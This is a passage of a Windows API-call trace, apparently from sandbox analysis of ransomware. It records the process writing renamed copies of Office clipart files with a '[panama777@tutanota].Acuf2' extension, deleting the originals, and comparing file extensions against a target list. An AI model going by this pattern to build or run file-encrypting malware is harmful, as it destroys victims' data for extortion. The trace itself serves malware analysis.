	[0268.180] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.180] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.181] GetLastError () returned 0x0
	[0268.181] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1526, lpOverlapped=0x0) returned 1
	[0268.206] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1530, lpOverlapped=0x0) returned 1
	[0268.207] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.207] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.207] SetEndOfFile (hFile=0x368) returned 1
	[0268.207] CloseHandle (hObject=0x368) returned 1
	[0268.208] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.208] SetEndOfFile (hFile=0x334) returned 1
	[0268.210] CloseHandle (hObject=0x334) returned 1
	[0268.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 1
	[0268.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63
	[0268.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63
	[0268.234] lstrlenW (lpString=".doc") returned 4
	[0268.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.234] lstrlenW (lpString=".docx") returned 5
	[0268.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.234] lstrlenW (lpString=".pdf") returned 4
	[0268.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.234] lstrlenW (lpString=".xls") returned 4
	[0268.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.234] lstrlenW (lpString=".xlsx") returned 5
	[0268.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.234] lstrlenW (lpString=".ppt") returned 4
	[0268.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63
	[0268.235] lstrlenW (lpString=".zip") returned 4
	[0268.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.235] lstrlenW (lpString=".rar") returned 4
	[0268.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.235] lstrlenW (lpString=".bz2") returned 4
	[0268.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.235] lstrlenW (lpString=".7z") returned 3
	[0268.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63
	[0268.235] lstrlenW (lpString=".dbf") returned 4
	[0268.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63
	[0268.235] lstrlenW (lpString=".1cd") returned 4
	[0268.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63
	[0268.235] lstrlenW (lpString=".jpg") returned 4
	[0268.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.236] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.236] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.236] GetLastError () returned 0x0
	[0268.236] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xc0a, lpOverlapped=0x0) returned 1
	[0268.243] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xc10, lpOverlapped=0x0) returned 1
	[0268.244] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.244] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.244] SetEndOfFile (hFile=0x368) returned 1
	[0268.244] CloseHandle (hObject=0x368) returned 1
	[0268.244] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.244] SetEndOfFile (hFile=0x334) returned 1
	[0268.246] CloseHandle (hObject=0x334) returned 1
	[0268.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 1
	[0268.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63
	[0268.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63
	[0268.247] lstrlenW (lpString=".doc") returned 4
	[0268.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.247] lstrlenW (lpString=".docx") returned 5
	[0268.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.247] lstrlenW (lpString=".pdf") returned 4
	[0268.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.247] lstrlenW (lpString=".xls") returned 4
	[0268.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.247] lstrlenW (lpString=".xlsx") returned 5
	[0268.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.247] lstrlenW (lpString=".ppt") returned 4
	[0268.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63
	[0268.247] lstrlenW (lpString=".zip") returned 4
	[0268.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.247] lstrlenW (lpString=".rar") returned 4
	[0268.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.247] lstrlenW (lpString=".bz2") returned 4
	[0268.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.247] lstrlenW (lpString=".7z") returned 3
	[0268.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63
	[0268.247] lstrlenW (lpString=".dbf") returned 4
	[0268.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63
	[0268.248] lstrlenW (lpString=".1cd") returned 4
	[0268.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63
	[0268.248] lstrlenW (lpString=".jpg") returned 4
	[0268.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.249] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=22116) returned 1
	[0268.249] CloseHandle (hObject=0x334) returned 1
	[0268.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x20
	[0268.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0268.249] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.249] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.250] GetLastError () returned 0x0
	[0268.250] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x5664, lpOverlapped=0x0) returned 1
	[0268.251] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x5670, lpOverlapped=0x0) returned 1
	[0268.253] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.253] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.253] SetEndOfFile (hFile=0x368) returned 1
	[0268.253] CloseHandle (hObject=0x368) returned 1
	[0268.253] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.253] SetEndOfFile (hFile=0x334) returned 1
	[0268.255] CloseHandle (hObject=0x334) returned 1
	[0268.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 1
	[0268.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63
	[0268.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63
	[0268.258] lstrlenW (lpString=".doc") returned 4
	[0268.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.258] lstrlenW (lpString=".docx") returned 5
	[0268.258] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.258] lstrlenW (lpString=".pdf") returned 4
	[0268.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.258] lstrlenW (lpString=".xls") returned 4
	[0268.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.258] lstrlenW (lpString=".xlsx") returned 5
	[0268.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.258] lstrlenW (lpString=".ppt") returned 4
	[0268.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63
	[0268.259] lstrlenW (lpString=".zip") returned 4
	[0268.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.259] lstrlenW (lpString=".rar") returned 4
	[0268.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.259] lstrlenW (lpString=".bz2") returned 4
	[0268.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.259] lstrlenW (lpString=".7z") returned 3
	[0268.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63
	[0268.259] lstrlenW (lpString=".dbf") returned 4
	[0268.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63
	[0268.259] lstrlenW (lpString=".1cd") returned 4
	[0268.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63
	[0268.259] lstrlenW (lpString=".jpg") returned 4
	[0268.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.260] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=15852) returned 1
	[0268.260] CloseHandle (hObject=0x334) returned 1
	[0268.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x20
	[0268.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0268.260] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.260] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.261] GetLastError () returned 0x0
	[0268.261] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x3dec, lpOverlapped=0x0) returned 1
	[0268.262] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x3df0, lpOverlapped=0x0) returned 1
	[0268.263] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.263] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.263] SetEndOfFile (hFile=0x368) returned 1
	[0268.263] CloseHandle (hObject=0x368) returned 1
	[0268.263] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.263] SetEndOfFile (hFile=0x334) returned 1
	[0268.266] CloseHandle (hObject=0x334) returned 1
	[0268.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 1
	[0268.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63
	[0268.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63
	[0268.267] lstrlenW (lpString=".doc") returned 4
	[0268.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.267] lstrlenW (lpString=".docx") returned 5
	[0268.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.267] lstrlenW (lpString=".pdf") returned 4
	[0268.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.268] lstrlenW (lpString=".xls") returned 4
	[0268.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.268] lstrlenW (lpString=".xlsx") returned 5
	[0268.268] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.268] lstrlenW (lpString=".ppt") returned 4
	[0268.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63
	[0268.268] lstrlenW (lpString=".zip") returned 4
	[0268.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.268] lstrlenW (lpString=".rar") returned 4
	[0268.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.268] lstrlenW (lpString=".bz2") returned 4
	[0268.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.268] lstrlenW (lpString=".7z") returned 3
	[0268.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63
	[0268.268] lstrlenW (lpString=".dbf") returned 4
	[0268.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63
	[0268.268] lstrlenW (lpString=".1cd") returned 4
	[0268.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63
	[0268.268] lstrlenW (lpString=".jpg") returned 4
	[0268.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.269] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2832) returned 1
	[0268.269] CloseHandle (hObject=0x334) returned 1
	[0268.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x20
	[0268.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0268.269] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.269] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.269] GetLastError () returned 0x0
	[0268.269] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xb10, lpOverlapped=0x0) returned 1
	[0268.271] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xb20, lpOverlapped=0x0) returned 1
	[0268.272] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.272] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.272] SetEndOfFile (hFile=0x368) returned 1
	[0268.272] CloseHandle (hObject=0x368) returned 1
	[0268.272] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.272] SetEndOfFile (hFile=0x334) returned 1
	[0268.274] CloseHandle (hObject=0x334) returned 1
	[0268.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 1
	[0268.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63
	[0268.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63
	[0268.274] lstrlenW (lpString=".doc") returned 4
	[0268.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.274] lstrlenW (lpString=".docx") returned 5
	[0268.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.275] lstrlenW (lpString=".pdf") returned 4
	[0268.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.275] lstrlenW (lpString=".xls") returned 4
	[0268.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.275] lstrlenW (lpString=".xlsx") returned 5
	[0268.275] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.275] lstrlenW (lpString=".ppt") returned 4
	[0268.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
